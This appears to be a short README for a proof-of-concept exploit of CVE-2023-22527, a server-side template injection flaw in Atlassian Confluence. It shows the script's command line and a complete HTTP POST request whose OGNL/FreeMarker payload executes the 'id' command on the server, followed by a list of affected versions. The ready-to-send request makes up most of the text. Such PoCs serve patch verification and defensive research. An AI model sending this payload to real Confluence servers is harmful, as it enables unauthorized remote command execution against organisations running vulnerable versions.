CVE-2023-22527 | RCE using SSTI in Confluence
- CVE-2023-22527 refers to an ServerSide template injection vulnerability in freemarker engine that allows users to execute command on the webserver.
- This code is a proof-of-concept (PoC) script for exploiting CVE-2023-22527, which is described as a Server-Side Template Injection (SSTI) vulnerability in Atlassian Confluence.
python3 CVE-2023-22527.py -u http://target.com
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))
8.0.x
8.1.x
8.2.x
8.3.x
8.4.x
8.5.0-8.5.3